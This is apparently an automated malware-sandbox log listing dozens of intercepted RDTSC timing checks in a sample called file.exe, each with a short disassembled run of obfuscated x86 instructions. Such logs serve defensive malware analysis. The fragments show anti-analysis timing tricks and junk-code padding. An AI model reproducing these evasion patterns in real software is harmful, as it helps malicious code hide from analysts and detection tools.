Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE301 second address: 4BE30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F8B150D74E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE30E second address: 4BE312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2C7B second address: 4C2C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F8B150D74E6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2C89 second address: 4C2C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2F89 second address: 4C2FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 jmp 00007F8B150D74EFh 0x0000000d jmp 00007F8B150D74F9h 0x00000012 pop edx 0x00000013 jnp 00007F8B150D74E8h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2FC2 second address: 4C2FCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F8B146BCD56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2FCE second address: 4C2FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2FD2 second address: 4C2FD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C313D second address: 4C3151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8B150D74ECh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C354A second address: 4C355F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B146BCD5Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C71F8 second address: 4C7202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7202 second address: 341A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 1700900Ah 0x0000000d push eax 0x0000000e mov edx, dword ptr [ebp+122D1963h] 0x00000014 pop edx 0x00000015 push dword ptr [ebp+122D0421h] 0x0000001b mov dword ptr [ebp+122D1987h], ebx 0x00000021 call dword ptr [ebp+122D1BC1h] 0x00000027 pushad 0x00000028 xor dword ptr [ebp+122D218Ch], ecx 0x0000002e xor eax, eax 0x00000030 jnl 00007F8B146BCD65h 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a sub dword ptr [ebp+122D218Ch], edi 0x00000040 mov dword ptr [ebp+122D2B01h], eax 0x00000046 jns 00007F8B146BCD5Fh 0x0000004c mov esi, 0000003Ch 0x00000051 sub dword ptr [ebp+122D218Ch], edi 0x00000057 sub dword ptr [ebp+122D218Ch], esi 0x0000005d add esi, dword ptr [esp+24h] 0x00000061 add dword ptr [ebp+122D218Ch], ebx 0x00000067 lodsw 0x00000069 jnp 00007F8B146BCD5Ch 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jne 00007F8B146BCD5Ch 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d sub dword ptr [ebp+122D218Ch], ebx 0x00000083 pushad 0x00000084 add dword ptr [ebp+122D19ADh], edx 0x0000008a add edx, 33F31554h 0x00000090 popad 0x00000091 push eax 0x00000092 push eax 0x00000093 push edx 0x00000094 pushad 0x00000095 push eax 0x00000096 push edx 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7267 second address: 4C72D0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8B150D74FDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d movzx edi, bx 0x00000010 jmp 00007F8B150D74ECh 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F8B150D74E8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov si, ACDCh 0x00000035 push 75E7CCD1h 0x0000003a jo 00007F8B150D74EEh 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C72D0 second address: 4C7335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 xor dword ptr [esp], 75E7CC51h 0x0000000c movzx edi, di 0x0000000f push 00000003h 0x00000011 movzx ecx, si 0x00000014 push 00000000h 0x00000016 add dword ptr [ebp+122D1ADDh], ecx 0x0000001c push 00000003h 0x0000001e push BF3959B3h 0x00000023 push ebx 0x00000024 push eax 0x00000025 pushad 0x00000026 popad 0x00000027 pop eax 0x00000028 pop ebx 0x00000029 xor dword ptr [esp], 7F3959B3h 0x00000030 mov dword ptr [ebp+122D19E2h], esi 0x00000036 lea ebx, dword ptr [ebp+1245916Ch] 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jmp 00007F8B146BCD68h 0x00000045 jmp 00007F8B146BCD5Ch 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C741F second address: 4C7434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7434 second address: 4C746C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a jmp 00007F8B146BCD64h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8B146BCD5Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C746C second address: 4C7470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7470 second address: 4C7511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F8B146BCD58h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 sub edi, dword ptr [ebp+122D29A1h] 0x00000028 push 00000003h 0x0000002a mov cl, C0h 0x0000002c push 00000000h 0x0000002e je 00007F8B146BCD5Ch 0x00000034 and esi, dword ptr [ebp+122D2891h] 0x0000003a push 00000003h 0x0000003c call 00007F8B146BCD60h 0x00000041 mov dword ptr [ebp+122D1860h], eax 0x00000047 pop esi 0x00000048 mov dword ptr [ebp+122D185Ah], ecx 0x0000004e push 8D582125h 0x00000053 ja 00007F8B146BCD5Eh 0x00000059 add dword ptr [esp], 32A7DEDBh 0x00000060 mov esi, 1419A800h 0x00000065 lea ebx, dword ptr [ebp+12459175h] 0x0000006b cld 0x0000006c xchg eax, ebx 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F8B146BCD67h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7511 second address: 4C7522 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7574 second address: 4C7582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7582 second address: 4C7588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7588 second address: 4C7656 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8B146BCD69h 0x00000008 jnl 00007F8B146BCD56h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 jl 00007F8B146BCD5Bh 0x00000018 push 00000000h 0x0000001a mov di, ax 0x0000001d call 00007F8B146BCD59h 0x00000022 jnp 00007F8B146BCD63h 0x00000028 push eax 0x00000029 pushad 0x0000002a jnp 00007F8B146BCD6Ch 0x00000030 pushad 0x00000031 jmp 00007F8B146BCD66h 0x00000036 push eax 0x00000037 pop eax 0x00000038 popad 0x00000039 popad 0x0000003a mov eax, dword ptr [esp+04h] 0x0000003e pushad 0x0000003f jmp 00007F8B146BCD5Dh 0x00000044 je 00007F8B146BCD58h 0x0000004a push eax 0x0000004b pop eax 0x0000004c popad 0x0000004d mov eax, dword ptr [eax] 0x0000004f pushad 0x00000050 push edx 0x00000051 push edx 0x00000052 pop edx 0x00000053 pop edx 0x00000054 pushad 0x00000055 pushad 0x00000056 popad 0x00000057 jmp 00007F8B146BCD62h 0x0000005c popad 0x0000005d popad 0x0000005e mov dword ptr [esp+04h], eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 push edx 0x00000067 pop edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7656 second address: 4C766C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B150D74F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C766C second address: 4C7706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F8B146BCD58h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 call 00007F8B146BCD5Fh 0x00000028 mov dword ptr [ebp+122D1ADDh], esi 0x0000002e pop ecx 0x0000002f push 00000003h 0x00000031 mov edi, dword ptr [ebp+122D28C5h] 0x00000037 push 00000000h 0x00000039 jmp 00007F8B146BCD66h 0x0000003e push 00000003h 0x00000040 jmp 00007F8B146BCD5Eh 0x00000045 call 00007F8B146BCD59h 0x0000004a jmp 00007F8B146BCD5Ah 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 pushad 0x00000054 popad 0x00000055 jmp 00007F8B146BCD5Eh 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7706 second address: 4C7710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8B150D74E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7710 second address: 4C7791 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8B146BCD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jbe 00007F8B146BCD69h 0x00000016 jmp 00007F8B146BCD63h 0x0000001b mov eax, dword ptr [eax] 0x0000001d jc 00007F8B146BCD5Ah 0x00000023 push eax 0x00000024 pushad 0x00000025 popad 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c push eax 0x0000002d jp 00007F8B146BCD56h 0x00000033 pop eax 0x00000034 jmp 00007F8B146BCD67h 0x00000039 popad 0x0000003a pop eax 0x0000003b sub dword ptr [ebp+122D219Ah], edi 0x00000041 mov ecx, 7AAF27B9h 0x00000046 lea ebx, dword ptr [ebp+12459180h] 0x0000004c sbb edi, 5252CCF0h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F8B146BCD5Ch 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8869 second address: 4E886F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E886F second address: 4E8873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8873 second address: 4E8879 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8879 second address: 4E889F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jg 00007F8B146BCD56h 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8B146BCD66h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E889F second address: 4E88A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E88A5 second address: 4E88A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E88A9 second address: 4E88C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B150D74F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E88C2 second address: 4E88C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E88C8 second address: 4E88CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E66BC second address: 4E66CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BCD5Bh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E66CE second address: 4E66D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E685E second address: 4E6878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 jmp 00007F8B146BCD5Eh 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6B36 second address: 4E6B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B150D74F0h 0x00000009 je 00007F8B150D74E6h 0x0000000f popad 0x00000010 jmp 00007F8B150D74EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6B5F second address: 4E6B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6B67 second address: 4E6B7C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8B150D74E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F8B150D750Ah 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6B7C second address: 4E6B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6CF6 second address: 4E6D13 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8B150D74F0h 0x00000008 jmp 00007F8B150D74EAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007F8B150D7508h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6D13 second address: 4E6D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6FF4 second address: 4E6FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E716B second address: 4E7179 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F8B146BCD5Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E72FA second address: 4E730F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8B150D74ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E730F second address: 4E7313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF1A2 second address: 4AF1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF1AA second address: 4AF1CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B146BCD65h 0x00000009 popad 0x0000000a jc 00007F8B146BCD5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF1CC second address: 4AF1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8224 second address: 4E8261 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8B146BCD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F8B146BCD62h 0x00000010 pop esi 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8B146BCD5Ch 0x0000001b jmp 00007F8B146BCD5Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8261 second address: 4E8271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8B150D74EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E83F3 second address: 4E83F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E83F7 second address: 4E840E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B150D74EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E840E second address: 4E8414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8414 second address: 4E8419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED7F1 second address: 4ED7F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED7F7 second address: 4ED7FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED7FB second address: 4ED826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jnp 00007F8B146BCD64h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jnc 00007F8B146BCD5Eh 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0A4 second address: 4EC0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC809 second address: 4EC813 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8B146BCD5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED8FA second address: 4ED900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED900 second address: 4ED906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F440E second address: 4F4414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4414 second address: 4F444F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F8B146BCD60h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F8B146BCD71h 0x00000015 jmp 00007F8B146BCD60h 0x0000001a jmp 00007F8B146BCD5Bh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F444F second address: 4F4467 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8B150D74ECh 0x00000008 jp 00007F8B150D74E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 jbe 00007F8B150D74E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3AE8 second address: 4F3B03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BCD65h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3C8A second address: 4F3CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jno 00007F8B150D74E6h 0x0000000b jmp 00007F8B150D74F3h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F410B second address: 4F410F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F410F second address: 4F4115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4115 second address: 4F4121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4121 second address: 4F413D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B150D74F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F413D second address: 4F4162 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BCD63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F8B146BCD5Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F42B0 second address: 4F42C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8B150D74EDh 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F61EB second address: 4F61EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
